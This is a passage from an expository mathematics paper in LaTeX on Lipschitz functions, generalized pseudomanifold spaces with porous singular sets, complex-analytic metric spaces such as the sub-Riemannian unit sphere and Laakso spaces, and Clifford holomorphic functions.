of total variation $\le C \, \lambda$. If $f$ is locally
$C$-Lipschitz of order $1$, then $f \circ p$ is still a function of
bounded variation on $[a, b]$ of total variation $\le C \, \lambda$,
since one can use partitions of $[a, b]$ with small mesh size by
passing to suitable refinements. If $f$ is locally
$\epsilon$-Lipschitz of order $1$ for each $\epsilon > 0$, then $f
\circ p$ has total variation equal to $0$, and $f \circ p$ is constant
on $[a, b]$. If $f$ is Lipschitz of order $> 1$, then $f$ is locally
$\epsilon$-Lipschitz of order $1$ for each $\epsilon > 0$.
If there is a $k \ge 1$ such that every $x, y \in M$ can be
connected by a continuous path of length $\le k \, d(x, y)$, and if
$f$ is a locally $C$-Lipschitz complex-valued function of order $1$ on
$M$, then $f$ is $(k \, C)$-Lipschitz of order $1$. This property
holds with $k = 1$ when $M$ is a convex set in Euclidean space or a
normed vector space more generally, since every pair of elements of
$M$ can be connected by a line segment of length equal to the distance
between $x$ and $y$. This property also holds for some fractals like
the Sierpinski gasket and carpet, for suitable $k > 1$. A connected
open set $U$ in a normed vector space satisfies this property locally
with $k = 1$, and every $x, y \in U$ can be connected by a curve of
finite length, but the relationship between the lengths of the paths
and the distances between $x$ and $y$ may be complicated. Similarly,
a connected embedded smooth submanifold of ${\bf R}^n$ has this
property locally with $k$ arbitrarily close to $1$, but otherwise the
ambient Euclidean distance may be much smaller than the intrinsic
distance on the submanifold, depending on the situation.
\section{Generalized pseudomanifold spaces}
\setcounter{equation}{0}
As on p148 of \cite{spa}, an $n$-dimensional
\emph{pseudomanifold} $M$ is a simplicial complex such that every
simplex in $M$ is contained in an $n$-dimensional simplex in $M$, and
every $(n - 1)$-dimensional simplex in $M$ is a face of one or two
$n$-dimensional simplices in $M$. It is customary to ask also that
$M$ satisfy the connectedness condition that for every pair of
$n$-dimensional simplices $\sigma$, $\sigma'$ in $M$ there is a
sequence $\sigma_1, \ldots, \sigma_l$ of $n$-dimensional simplices in
$M$ such that $\sigma_1 = \sigma$, $\sigma_l = \sigma'$, and
$\sigma_i$, $\sigma_{i + 1}$ are adjacent when $1 \le i < l$ in the
sense that $\sigma_i \cap \sigma_{i + 1}$ is an $(n - 1)$-dimensional
simplex in $M$. In particular, this implies that $M$ is connected as
a topological space, since simplices are connected sets. The
\emph{boundary} $\partial M$ of $M$ consists of the $(n -
1)$-dimensional simplices in $M$ which are faces of exactly one
$n$-dimensional simplex in $M$. The aforementioned connectedness
condition implies that the \emph{interior} $M \backslash \partial M$
of $M$ is connected too.
Suppose that $p \in M$ is in the interior of an
$n$-dimensional simplex $\sigma$ in $M$, or in the interior of an $(n
- 1)$-dimensional simplex $\tau$ in $M$ contained in two distinct
$n$-dimensional simplices $\sigma'$, $\sigma''$ in $M$. In the first
case there is a neighborhood of $p$ in $M$ contained in $\sigma$, and
in the second case there is a neighborhood of $p$ in $M$ contained in
$\sigma' \cup \sigma''$. In both cases there is a neighborhood of $p$
in $M$ which is homeomorphic to the open unit ball in ${\bf R}^n$. If
$p \in M$ lies in the interior of an $(n - 1)$-dimensional simplex
$\tau$ in the boundary of $M$, which means that $\tau$ is contained in
exactly one $n$-dimensional simplex $\sigma$ in $M$, then there is a
neighborhood of $p$ in $M$ contained in $\sigma$. In this event $M$
looks exactly like an $n$-dimensional manifold with boundary at $p$.
If $p \in M$ is contained in a $k$-dimensional simplex with $k
\le n - 2$, then the local behavior of $M$ at $p$ may be more
complicated. The set $E$ of these potentially singular points in $M$
is relatively small in $M$, and in particular the connectedness
condition for $M$ implies that $M \backslash E$ is connected.
An \emph{orientation} on $M$ consists of an orientation on
every $n$-dimensional simplex in $M$, with the compatibility condition
that for every $(n - 1)$-dimensional simplex $\tau$ in $M$ which is
contained in two adjacent $n$-dimensional simplices $\sigma'$,
$\sigma''$, the orientations on $\tau$ induced by those on $\sigma'$,
$\sigma''$ are the same. If there is an orientation on $M$, then $M$
is said to be \emph{orientable}, as usual. Because of the
compatibility condition, a choice of orientation on an $n$-dimensional
simplex in $M$ determines orientations on the adjacent $n$-dimensional
simplices, and hence on all of $M$ by the connectedness condition when
$M$ is orientable. One can try to get an orientation on $M$ by
starting with an orientation on an $n$-dimensional simplex and using
induced orientations on adjacent simplices, etc. This works when
every $n$-dimensional simplex only gets one orientation in this way.
It seems natural to consider more general situations with
analogous features. Let $n$ be a positive integer, let $(M, d(x, y))$
be a separable metric space, and let $A$, $B$ be closed subsets of $M$
such that $M \backslash (A \cup B)$ is dense in $M$. Roughly
speaking, the singularities of $M$ ought to be contained in $A$, and
the boundary of $M$ ought to be contained in $B$. Suppose in
particular that the topological dimension of $M$ is equal to $n$, that
the topological dimension of $A$ is less than or equal to $n - 2$, and
that the topological dimension of $B$ is less than or equal to $n -
1$. Let us ask that $M \backslash (A \cup B)$ be connected as well,
which implies that $M$ is connected.
As a basic scenario, suppose that $M \backslash A$ is an
$n$-dimensional $C^\infty$ manifold with boundary $B \backslash A$,
where the manifold structure is compatible with the topology
determined by the metric on $M$. Suppose also that $M \backslash A$
is equipped with a $C^\infty$ Riemannian metric, which leads to a
Riemannian distance function on $M \backslash A$ by minimizing the
lengths of paths in the usual way. A standard local compatibility
condition asks that there be a $C > 0$ and, for every $p \in M
\backslash A$, an open set $U(p) \subseteq M \backslash A$ such that
$p \in U(p)$ and the Riemannian distance and $d(x, y)$ are each
bounded by $C$ times the other on $U(p)$. This implies that the
lengths of curves in $M \backslash A$ associated to the Riemannian
structure are comparable to those defined using $d(x, y)$, and that
Riemannian volumes of subsets of $M \backslash A$ are comparable to
$n$-dimensional Hausdorff measure defined using $d(x, y)$.
Comparability of distances associated to the Riemannian structure and
$d(x, y)$ globally on $M \backslash A$ would be an interesting
additional condition.
In any case, Hausdorff measures and dimensions can be defined
for subsets of $M$ using $d(x, y)$, and the topological dimension of a
set is automatically less than or equal to its Hausdorff dimension.
More precisely, if a set has $l$-dimensional Hausdorff measure equal
to $0$, then its topological dimension is strictly less than $l$. To
say that the singular set $A$ is relatively small in $M$, one can
consider stronger conditions in terms of Hausdorff measure. One might
ask that the $(n - 1)$-dimensional Hausdorff measure of $A$ be equal
to $0$, or that that the Hausdorff dimension of $A$ be strictly less
than $n - 1$, or that the $(n - 2)$-dimensional Hausdorff measure of $A$
be finite, perhaps at least locally. Depending on the circumstances,
one might consider even more restrictive conditions on $A$, associated
to smaller dimensions.
One might also consider more complicated types of boundaries.
Instead of smoothness, one might consider accessibility conditions,
for instance. Concerning the size of $B$, one might ask that the
$n$-dimensional Hausdorff measure of $B$ be equal to $0$, or that the
Hausdorff dimension of $B$ be strictly less than $n$, or that the $(n
- 1)$-dimensional Hausdorff measure of $B$ be finite, at least
locally. It may be that $M$ is equipped with a nonnegative Borel
measure $\mu$, and one might ask that $\mu(A) = \mu(B) = 0$. If $B
\ne \emptyset$, then one might ask that $B$ be at least $(n -
1)$-dimensional in various ways.
Let $B(x, r) = \{y \in M : d(x, y) < r \}$ be the open ball in
$M$ with center $x \in M$ and radius $r > 0$. As in \cite{c-w-1,
c-w-2}, $M$ is \emph{doubling} if there is a $C > 0$ such that for
every $x \in M$ and $r > 0$ there are $x_1, \ldots, x_l \in M$ with $l
\le C$ and
\begin{equation}
B(x, 2 r) \subseteq \bigcup_{i = 1}^l B(x_i, r).
\end{equation}
Similarly, a nonnegative Borel measure $\mu$ on $M$ is a
\emph{doubling measure} if the $\mu$-measure of every ball in $M$ is
finite, and if there is a $C' > 0$ such that
\begin{equation}
\mu(B(x, 2 r)) \le C' \, \mu(B(x, r))
\end{equation}
for every $x \in M$ and $r > 0$. One can show that $M$ is doubling
when there is a nonzero doubling measure on $M$.
A set $E \subseteq M$ is said to be \emph{porous} if there is
a $c > 0$ such that for every $x \in M$ and $r > 0$, with $r$ less
than or equal to the diameter of $M$ when $M$ is bounded, there is a
$z \in M$ for which $d(x, z) < r$ and $B(z, c \, r) \cap E =
\emptyset$. The closure of a porous set is clearly porous, with the
same constant $c$, and one can check that the union of two porous sets
is porous. Equivalently, $E \subseteq M$ is porous if there is a $c'
> 0$ such that for every $x \in E$ and $r > 0$ with $r \le \mathop{\rm diam} M$
when $M$ is bounded, there is a $z \in M$ which satisfies $d(x, z) <
r$ and $B(z, c' \, r) \cap E = \emptyset$. Consequently, if $E
\subseteq Y \subseteq M$ and $E$ is porous as a set in $Y$, then $E$
is porous as a set in $M$.
For a generalized pseudomanifold space $M$ with singular set
$A$ and boundary $B$, a doubling condition for $M$ and perhaps a
nonnegative measure $\mu$ on $M$ as well as porosity conditions on
$A$, $B$ in $M$ can be quite appropriate. One of the nice features of
doubling measures is that there is a version of the Lebesgue density
theorem, so that sets of positive measure have points of density. It
follows that porous sets have measure $0$ with respect to doubling
measures, because they cannot have points of density in this case. In
${\bf R}^n$, one can show that porous sets have Hausdorff dimension
strictly less than $n$, and there are related results for other spaces
depending on the circumstances.
An appealing quantitative local connectedness property for the
regular part of pseudomanifold space would be the same as for uniform
domains \cite{mar-s}, although this would have to be relaxed for some
singularities. Higher-order versions \cite{als, a-v-1, a-v-2, h-y} can
be quite interesting too, especially for more precise information
about the structure of the singularities. These are refinements of
local connectedness conditions commonly studied in geometric topology.
See \cite{b-h-k, h2, mar} for more information about uniform domains.
One can also consider mixtures of local regularity and
relatively small singular sets for functions on pseudomanifold spaces
and mappings between them. A standard argument would combine
estimates for the size of a singular set $A$ and continuity properties
of a mapping $f$ on $A$ to estimate the size of $f(A)$. If $f(A)$ is
sufficiently small, then one may be able to avoid the singularities
and work on the regular part, as in the study of degrees of mappings
and other topological properties. In particular, one could use the
implicit function theorem on the regular part. For that matter, a
function might have its own singularities, and the pseudomanifold
point of view can be a convenient way to adapt the geometry of a space
to the behavior of a function on it.
The singular set in \cite{l2} is a nontrivial connected set in
a $2$-dimensional space. This suggests some variants of some of the
questions in \cite{h-s}, e.g., concerning the existence of bilipschitz
coordinates for $2$-dimensional generalized pseudomanifold spaces,
under suitable conditions. Specifically, one can consider situations
in which the singular set is uniformly disconnected. This would be a
version of the hypothesis that the singular set have topological
codimension at least $2$. However, it would allow the Hausdorff
codimension of the singular set to be arbitrarily small.
One can consider similar notions for other types of objects,
like weights. Let $(M, d(x, y))$ be a metric space, and let $w(x)$ be
a nonnegative extended real-valued function on $M$, i.e., $0 \le w(x)
\le + \infty$ for $x \in M$. Let $U$ be the set of $x \in M$ for
which there are positive real numbers $\epsilon$, $k$, $r$ such that
$\epsilon \le w \le k$ on $B(x, r)$, and note that $U$ is
automatically an open set in $M$. As a basic class of weights on $M$,
one can consider the $w$'s for which $U$ is dense in $M$ too. One
might also ask that $w$ be continuous on $U$, or on all of $M$ using
the standard topology for the extended real numbers.
It is easy to formulate quantitative scale-invariant
regularity conditions for weights on $M$. For instance, suppose that
there are positive real numbers $c_1$, $c_2$ such that for every $x
\in M$ and $r > 0$ with $r \le \mathop{\rm diam} M$ when $M$ is bounded there is a
$z \in M$ which satisfies $d(x, z) < r$, $0 < w < +\infty$ on $B(z,
c_1 \, r)$, and $w(y) \le c_2 \, w(y')$ for $y, y' \in B(z, c_1 \,
r)$. In particular, this implies that $M \backslash U$ is porous in
$M$ with constant $c_1$. Alternatively, one might start with a
nonempty porous set $A \subseteq M$, and ask that $0 < w < +\infty$ on
$M \backslash A$, and that for every $l \ge 1$ there be a $C(l) \ge 1$
such that $w(y) \le C(l) \, w(y')$ when $y, y' \in M \backslash A$ and
\begin{equation}
\label{d(y, y') le l min(dist(y, A), dist(y', A))}
d(y, y') \le l \, \min(\mathop{\rm dist}(y, A), \mathop{\rm dist}(y', A)).
\end{equation}
Here $\mathop{\rm dist}(x, A)$ is the infimum of $d(x, u)$ over $u \in A$, as
usual, and $w(x) = \mathop{\rm dist}(x, A)^\alpha$ has this property for every
$\alpha \in {\bf R}$, because (\ref{d(y, y') le l min(dist(y, A),
dist(y', A))}) implies that the distances from $y$, $y'$ to $A$ are
each less than or equal to $l + 1$ times the other.
Now suppose that $f$ is an extended real-valued function on
$M$, and let $V$ be the open set of $x \in M$ for which there is an $r
> 0$ such that $f(B(x, r))$ is a bounded set in ${\bf R}$. We can
begin by asking that $V$ be dense in $M$, and perhaps that $f$ be
continuous on $V$ or on all of $M$. As a quantitative scale-invariant
condition, we can ask that there be $c, C > 0$ such that for every $x
\in M$ and $r > 0$ with $r \le \mathop{\rm diam} M$ when $M$ is bounded there is a
$z \in M$ with $d(x, z) < r$, $f(z) \in {\bf R}$, and $|f(y) - f(z)|
\le C$ when $d(y, z) < c \, r$, which implies that $M \backslash V$ is
porous with constant $c$. As a stronger condition, we can ask that
there be a nonempty porous set $A \subseteq M$ such that $f$ is
real-valued on $M \backslash A$ and $|f(y) - f(y')|$ is bounded when
$y, y' \in M \backslash A$ satisfy (\ref{d(y, y') le l min(dist(y, A),
dist(y', A))}), with a bound that depends on $l$. These are variants
of ``bounded mean oscillation'' which correspond to logarithms of
weights as in the previous paragraphs.
A \emph{quasisymmetric mapping} \cite{tuk-v} from one metric
space to another approximately preserves relative distances. If
$M_1$, $M_2$ are metric spaces, $E \subseteq M_1$ is a porous set, and
$\phi : M_1 \to M_2$ is quasisymmetric, then one can show that
$\phi(E)$ is porous in $M_2$. As in \cite{v2}, if $M_1 = M_2 = {\bf
R}^n$ with the standard metric, $E \subseteq {\bf R}^n$ is porous, and
$\phi : E \to {\bf R}^n$ is a quasisymmetric mapping, then $\phi(E)$
is porous in ${\bf R}^n$. One can reformulate (\ref{d(y, y') le l
min(dist(y, A), dist(y', A))}) as saying that $d(y, y') \le l
\min(d(y, a), d(y', a))$ for every $a \in A$, which is preserved by a
quasisymmetric mapping, if we are allowed to replace $l$ by a positive
real number depending on $l$ and the quasisymmetry condition for the
mapping. The corresponding local regularity conditions for functions
and weights are therefore preserved by quasisymmetric mappings too.
\section{Complex-analytic metric spaces}
\setcounter{equation}{0}
What might one mean by a ``complex-analytic metric space''?
Certainly ${\bf C}^n$ with the standard Euclidean metric ought to be
an example, as well as domains in ${\bf C}^n$ and smooth complex
manifolds equipped with suitable geometries, etc.
For a nonstandard example, fix an integer $n \ge 2$, and let
$\Sigma_n$ be the unit sphere in ${\bf C}^n$. Thus
\begin{equation}
\Sigma_n = \{z \in {\bf C}^n : |z| = 1\},
\end{equation}
where $|z| = \Big(\sum_{j = 1}^n |z_j|^2 \Big)^{1/2}$ for $z = (z_1,
\ldots, z_n) \in {\bf C}^n$, as usual. We can think of $\Sigma_n$ as
a real smooth hypersurface in ${\bf C}^n$, whose tangent space at $z
\in \Sigma_n$ is
\begin{equation}
T_z \, \Sigma_n = \Big\{v \in {\bf C}^n :
\mathop{\rm Re} \sum_{j = 1}^n v_j \, \overline{z_j} = 0 \Big\}.
\end{equation}
Here $\mathop{\rm Re} a$ denotes the real part of a complex number $a$, and
$\overline{a}$ is its complex conjugate. Put
\begin{equation}
CT_z \, \Sigma_n = \Big\{v \in {\bf C}^n :
\sum_{j = 1}^n v_j \, \overline{z_j} = 0 \Big\},
\end{equation}
which is a complex-linear subspace of ${\bf C}^n$ contained in $T_z \,
\Sigma_n$. If $\mathop{\rm Im} a$ is the imaginary part of a complex number $a$,
then $CT_z \, \Sigma_n$ consists of the $v \in T_z \, \Sigma_n$ such
that $\mathop{\rm Im} \sum_{j = 1}^n v_j \, \overline{z_j} = 0$. This shows that
$CT_z \, \Sigma_n$ has real codimension $1$ in $T_z \, \Sigma_n$,
which has real codimension $1$ in ${\bf C}^n$. It is well known that
every pair of elements of $\Sigma_n$ can be connected by a smooth path
$p(t)$ in $\Sigma_n$ whose derivative $\dot p(t)$ is contained in
$CT_{p(t)} \, \Sigma_n$ for every $t$ in the interval on which $p(t)$
is defined. A metric on $\Sigma_n$ can be defined using the infimum
of the lengths of these paths with a fixed pair of endpoints in
$\Sigma_n$. With respect to this sub-Riemannian geometry on
$\Sigma_n$, $CT_z \, \Sigma_n$ is the appropriate tangent space for
$\Sigma_n$ at $z \in \Sigma_n$. By construction, $CT_z \, \Sigma_n$
is also a complex vector space in a natural way.
This sub-Riemannian geometry on $\Sigma_n$ is compatible with
the usual topology, but the corresponding Hausdorff dimension is $2 \,
n$.
On a complex manifold $M$, there is a decomposition of
exterior differentiation $d$ into the sum of $\partial$ and
$\overline{\partial}$. By definition, a complex-valued function $f$
on an open set $U \subseteq M$ is holomorphic if $\overline{\partial}
f = 0$ on $U$. On $\Sigma_n$, there is an analogous operator
$\overline{\partial}_b$ based on the complex subspaces of the tangent
spaces. The $\overline{\partial}_b$ operator is the appropriate
$\overline{\partial}$ operator on $\Sigma_n$ with respect to the
sub-Riemannian geometry.
Similar remarks can be applied to other Cauchy--Riemann
manifolds with compatible sub-Riemannian geometries. In order to get
a complex-analytic metric space, one ought to have complex structures
on the subspaces of the tangent spaces that determine the
sub-Riemannian structure. Otherwise, one might have ``Cauchy--Riemann
sub-Riemannian spaces'', with complex structures on subspaces of the
subspaces of the tangent spaces that determine the sub-Riemannian
structure.
In general, one might ask that a complex-analytic metric space
have some sort of tangent spaces, perhaps almost everywhere, and
complex structures on these tangent spaces. Some nontrivial
holomorphic functions would be nice too.
Of course, there has been a lot of work over the years
concerning abstract versions of holomorphic functions on complex
spaces, often in terms of algebras of continuous functions on
topological spaces. An advantage of metric spaces is that there are
special classes of functions, like Lipschitz functions and Sobolev
spaces when the metric space is equipped with a metric, which are
relevant for differentiation and other aspects of analysis. The
definition of the tangent spaces of the metric space would normally
involve some sort of regular functions and their derivatives.
Geometric measure theory deals extensively with
differentiation and tangent spaces for sets that may not be smooth.
See \cite{alr, alm, har, har-k, har-l, har-s, k, ll1, ll2, sh, si1,
si2}, for instance, concerning holomorphic chains as currents.
For a metric space equipped with a doubling measure and for
which there are suitable versions of Poincar\'e inequalities, Cheeger
\cite{che} has shown that there are versions of classical results on
differentiability almost everywhere. This is a very interesting
setting in which to consider $\overline{\partial}$ operators.
In particular, one might do this for a space $X$ which is a
Cartesian product of an even number of spaces like those described by
Laakso \cite{l1} and intervals. If $L$ is a Laakso space, then there
is a natural projection from the product of a Cantor set $C$ and the
unit interval $I$ onto $L$, and another projection from $L$ onto $I$.
The composition of these two mappings is the usual coordinate
projection from $C \times I$ onto $I$. If a complex structure is
defined on $X$ in a compatible way, then one can use these projections
onto intervals to get nontrivial holomorphic functions on $X$. One
can jazz this up a bit using branching.
One can also look at holomorphic mappings between
complex-analytic metric spaces, e.g., nontrivial analytic disks. It
is well known that any holomorphic mapping from a disc into the unit
sphere $\Sigma_n$ in ${\bf C}^n$ is constant. There are plenty of
analytic disks in a product of Laakso spaces and intervals when the
complex structure on the product satisfies suitable compatibility
conditions.
For that matter, one could view the product of a Cantor set
and ${\bf C}^n$ as a complex-analytic metric space, in which only the
complex structure in the ${\bf C}^n$ directions is employed in the
product. Thus a holomorphic function on the product would be
holomorphic on each copy of ${\bf C}^n$, and an analytic disk in the
product would be an analytic disk in one of the copies of ${\bf C}^n$.
More precisely, the Cantor set would be treated as not contributing to
the tangent space of the product or the complex structure. This is
consistent with the failure of differentiability theorems for
Lipschitz functions on Cantor sets, although one might say instead
that the derivative is equal to $0$.
Alternatively, let $E$ be a closed set in ${\bf C}^n$, and
suppose that $f : E \to {\bf C}$ is continuously differentiable in the
sense of Whitney. This means that for each $p \in E$ there is a
real-linear mapping $df_p : {\bf C}^n \to {\bf C}$ which is continuous
as a function of $p$ and satisfies
\begin{equation}
f(z) = f(p) + df_p(z - p) + o(1)
\end{equation}
uniformly on compact subsets of $E$. The restriction to $E$ of a
continuously-differentiable function on ${\bf C}^n$ automatically has
this feature, using the ordinary differential of $f$ at $p \in E$.
Conversely, a function $f$ on $E$ with this property has an extension
to a continuously differentiable function on ${\bf C}^n$ whose
differential at $p \in E$ is equal to $df_p$, by Whitney's extension
theorem. If $f$ is a continuously-differentiable function on $E$ in
the sense of Whitney, then $\overline{\partial} f_p$ can be defined
using $df_p$ in the usual way, and $\overline{\partial} f_p = 0$ for
every $p \in E$ when $f$ is the restriction to $E$ of a holomorphic
function on an open set $U \subseteq {\bf C}^n$ containing $E$.
If $E$ is a Cantor set or a snowflake, then there are
nontrivial functions $f$ on $E$ which are continuously-differentiable
in Whitney's sense with $df_p = 0$ for every $p \in E$. At the
opposite extreme, suppose that $E = {\bf R}^n \subseteq {\bf C}^n$ and
$f : {\bf R}^n \to {\bf C}$ is continuously-differentiable as a
function on ${\bf R}^n$. The differential of $f$ at $p \in {\bf R}^n$
is therefore defined as a real-linear mapping from ${\bf R}^n$ to
${\bf C}$, which has a unique extension to a complex-linear mapping
from ${\bf C}^n$ to ${\bf C}$. If we use this extension as $df_p$,
then $\overline{\partial} f_p = 0$.
A basic issue about complex-analytic metric spaces is the
strength of the $\overline{\partial}$ operator, starting with the
question of whether $|\overline{\partial} f|$ is roughly like $|d f|$
when $f$ is real-valued. This is an elementary feature of the
classical case, and there is an analogous statement for
Cauchy--Riemann spaces in terms of the tangential part of the
differential. However, this does not say much about the strength of
the $\overline{\partial}$ operator applied to complex-valued
functions, since there are standard local regularity results for
holomorphic functions on ${\bf C}^n$ while the boundary values of
holomorphic functions on the unit ball automatically satisfy the
tangential Cauchy--Riemann equations on the unit sphere but do not
have to be smooth.
If $f$ is a nice complex-valued function with compact support
on ${\bf C}^n$ and $1 < p < \infty$, then
\begin{equation}
\int_{{\bf C}^n} |\partial f(z)|^p \, dz
\le A(p, n) \, \int_{{\bf C}^n} |\overline{\partial} f(z)|^p \, dz,
\end{equation}
where $A(p, n) > 0$ depends only on $p$ and $n$. This follows from
well-known results in harmonic analysis, and there are similar
estimates for other norms and spaces of functions. These matters have
also been studied extensively for domains in ${\bf C}^n$, their
boundaries, and other complex manifolds and Cauchy--Riemann spaces,
with additional terms or boundary conditions, etc., according to the
situation. Properties like these are of interest for complex-analytic
metric spaces in general, as well as the relationship with a suitable
Laplace operator and subharmonicity.
The classical theory of quasiconformal mappings in the plane
deals exactly with the Beltrami operators $\overline{\partial}_\mu =
\overline{\partial} - \mu \, \partial$ associated to a perturbation of
the standard complex structure. The quasiconformality condition
$\|\mu\|_\infty < 1$ ensures that $|\partial_\mu f|$ is comparable to
$|df|$ when $f$ is real-valued. Moreover, it leads to $L^2$ estimates
for the gradient, and $L^p$ estimates when $p$ is sufficiently close
to $2$. If a function is holomorphic with respect to
$\overline{\partial}_\mu$, then it can be expressed as the composition
of an ordinary holomorphic function with a quasiconformal mapping with
dilatation $\mu$.
It can be easier to make sense of the size $|df|$ of the
differential of a function $f$ on a metric space than the differential
$df$, and it may be easier in some situations to make sense of
something like $|\overline{\partial} f|$ than $\overline{\partial} f$.
There could also be a decomposition of $|df|^2$ into a sum of parts
corresponding to $|\partial f|^2$ and $|\overline{\partial} f|^2$,
analogous to the usual decomposition of $d$ into the sum of $\partial$
and $\overline{\partial}$. One might look at this on the Sierpinski
gasket in connection with ``analysis on fractals'' in the sense of
\cite{kig, sr2, sr3}, for instance. The underlying local model for
this is the fact that a real-affine function on the plane is uniquely
determined by its values on the vertices of a triangle, and the
decomposition of a real-linear function into parts that are
complex-linear and conjugate-linear. By contrast, this may not work
as well for squares and Sierpinski carpets.
Let $(M, d(x, y))$ and $(N, \rho(u, v))$ be metric spaces. A
mapping $f : M \to N$ is said to be Lipschitz if it is Lipschitz of
order $1$, and it is a bilipschitz embedding of $M$ into $N$ if
$\rho(f(x), f(y))$ is bounded from above and below by constant
multiples of $d(x, y)$ for every $x, y \in M$. For example, the
standard embedding of the unit sphere $\Sigma_n$ into ${\bf C}^n$ is
bilipschitz with respect to the ordinary Euclidean metric on ${\bf
C}^n$ and the induced Riemannian metric on $\Sigma_n$. However, this
mapping is Lipschitz and not bilipschitz when one uses the
sub-Riemannian geometry on $\Sigma_n$ associated to the complex
subspaces of the tangent spaces. There are probably a lot of
subtleties involved with embeddings of complex-analytic metric spaces.
Note that the boundary values of a holomorphic function on the
unit ball in ${\bf C}^2$ could be considered as a quasiregular mapping
from $\Sigma_2$ with the usual sub-Riemmanian structure into the
complex numbers. Similalry, the standard projection from the product
of a Laakso space and an interval or another Laakso space to the
complex numbers could also be considered quasiregular. In these
examples, the tangent spaces of the domain and range have the same
dimension, and quasiregularity can be formulated in terms of the
differentials of the mappings as linear transformations between the
corresponding tangent spaces. In the first example, the Hausdorff
dimension of the domain is strictly larger than the topological
dimension, which is strictly larger than the dimension of the tangent
spaces. In the second example, the Hausdorff dimension of the domain
is strictly larger than the topological dimension, which is equal to
the dimension of the tangent spaces. Even for variants of Laakso's
construction using Cantor sets with Hausdorff dimension $0$ so that
the Hausdorff and topological dimensions of the resulting spaces would
be the same, the Hausdorff measure would not be $\sigma$-finite in the
topological dimension. The fibers of the mapping are at least totally
disconnected in the second example, if not discrete. Compare with
\cite{h-hol}.
\section{Clifford holomorphic functions}
\setcounter{equation}{0}
Let $n$ be a positive integer, and let $\mathcal{C}(n)$ be the
Clifford algebra over the real numbers ${\bf R}$ with $n$ generators
$e_1, \ldots, e_n$. By definition, $\mathcal{C}(n)$ is an associative
algebra with a nonzero multiplicative identity element. Thus
$\mathcal{C}(n)$ contains a copy of ${\bf R}$, and the real number $1$
can be identified with the multiplicative identity element of
$\mathcal{C}(n)$. The generators $e_1, \ldots, e_n$ of
$\mathcal{C}(n)$ satisfy the relations $e_l^2 = -1$ for $l = 1,
\ldots, n$, and $e_q \, e_p = - e_p \, e_q$ when $1 \le p, q \le n$
and $p \ne q$. For $I = \{l_1, \ldots, l_r\}$, $1 \le l_1 < l_2 <
\cdots < l_r \le n$, let $e_I$ be the element of $\mathcal{C}(n)$
defined by
\begin{equation}
e_I = e_{l_1} e_{l_2} \cdots e_{l_r}.
\end{equation}
We can include $I = \emptyset$ by putting $e_\emptyset = 1$. The
$2^n$ elements $e_I$ of $\mathcal{C}(n)$, where $I$ runs through all
subsets of $\{1, \ldots, n\}$, forms a basis for $\mathcal{C}(n)$ as a
vector space over ${\bf R}$.
Actually, one can think of $\mathcal{C}(n)$ as being equal to
${\bf R}$ when $n = 0$. When $n = 1$, $\mathcal{C}(n)$ is equivalent
to the complex numbers ${\bf C}$, with the one generator $e_1$
corresponding to the complex number $i$. When $n = 2$,
$\mathcal{C}(n)$ is equivalent to the quaternions ${\bf H}$. Normally
one might represent $x \in {\bf H}$ as
\begin{equation}
x = x_1 + x_2 \, i + x_3 \, j + x_4 \, k,
\end{equation}
where $i^2 = j^2 = k^2 = -1$, $k = i \, j$, and $j \, i = - k$, which
yield $i \, k = -j = - k \, i$ and $j \, k = i = - k \, j$. For the
identification with $\mathcal{C}(2)$, $i, j \in {\bf H}$ correspond to
the two generators $e_1, e_2 \in \mathcal{C}(2)$, and $k \in {\bf H}$
corresponds to their product $e_1 \, e_2$.
If $v = (v_1, \ldots, v_n) \in {\bf R}^n$, then we can
associate to $v$ the element
\begin{equation}
\widehat{v} = v_1 \, e_1 + \cdots + v_n \, e_n
\end{equation}
of $\mathcal{C}(n)$. This defines a linear embedding of ${\bf R}^n$
into $\mathcal{C}(n)$ such that
\begin{equation}
\widehat{v}^2 = - (v_1^2 + \cdots + v_n^2).
\end{equation}
More generally, if $v = (v_0, v_1, \ldots, v_n) \in {\bf R}^{n + 1}$,
\begin{equation}
\widetilde{v} = v_0 + v_1 \, e_1 + \cdots + v_n \, e_n,
\end{equation}
and
\begin{equation}
\widetilde{v}^* = v_0 - v_1 \, e_1 - \cdots - v_n \, e_n,
\end{equation}
then
\begin{equation}
\widetilde{v} \, \widetilde{v}^* = \widetilde{v}^* \, \widetilde{v}
= v_0^2 + v_1^2 + \cdots + v_n^2.
\end{equation}
Similarly, if $x = x_1 + x_2 \, i + x_3 \, j + x_4 \, k \in {\bf H}$,
where $x_1, x_2, x_3, x_4$ are real numbers, and we put
\begin{equation}
x^* = x_1 - x_2 \, i - x_3 \, j - x_4 \, k,
\end{equation}
then
\begin{equation}
x \, x^* = x^* \, x = x_1^2 + x_2^2 + x_3^2 + x_4^2.
\end{equation}
If $f$ is a continuously-differentiable function on an open
set $U \subseteq {\bf R}^n$ with values in the Clifford algebra
$\mathcal{C}(n)$, then we say that $f$ is left or right Clifford
holomorphic if
\begin{equation}
\sum_{l = 1}^n e_l \, \frac{\partial f}{\partial x_l} = 0
\quad\hbox{or}\quad
\sum_{l = 1}^n \frac{\partial f}{\partial x_l} \, e_l = 0
\end{equation}
on $U$, respectively. Alternatively, let $f$ be a
continuously-differentiable function on an open set in ${\bf
R}^{n+1}$, where $x \in {\bf R}^{n + 1}$ has components $x_0, x_1,
\ldots, x_n$. In this case, we get slightly different versions of
Clifford holomorphicity with the equations
\begin{equation}
\sum_{l = 0}^n e_l \, \frac{\partial f}{\partial x_l} = 0, \quad
\sum_{l = 0}^n \frac{\partial f}{\partial x_l} \, e_l = 0,
\end{equation}
where $e_0 = 1$. There are also variants of these for the quaternions
using $i$, $j$, and $k$. These are all \emph{Generalized
Cauchy--Riemann Systems} as in \cite{s-w}.
Suppose that $f$ is a continuously-differentiable function on
an open set $U$ in ${\bf R}^n$ with values in ${\bf R}^p$ for some $p
\ge 1$, and that $x$ is an element of $U$ and $v$ is a unit vector in
${\bf R}^n$. If $f$ satisfies an equation at $x$ like those described
in the previous paragraph, then the directional derivative of $f$ at
$x$ in the direction of $v$ can be expressed as a linear combination
of the directional derivatives of $f$ at $x$ in the directions
orthogonal to $v$. For example, if $f$ is a left or right Clifford
holomorphic function, then one can check this by multiplying the
corresponding differential equation on the left or right by
$\widehat{v}$, respectively. Let us say that $f$ is $k$-restricted
for some $k \ge 1$ if for every $x \in U$ and every hyperplane $H
\subseteq {\bf R}^n$, the norm of the differential of $f$ at $x$ is
less than or equal to $k$ times the norm of the restriction of the
differential of $f$ at $x$ to $H$. In each of the cases discussed in
the previous paragraph, it follows that $f$ is $k$-restricted for a
fixed $k$.
The differential of a real-valued function automatically
vanishes on a hyperplane at each point. Hence a real-valued
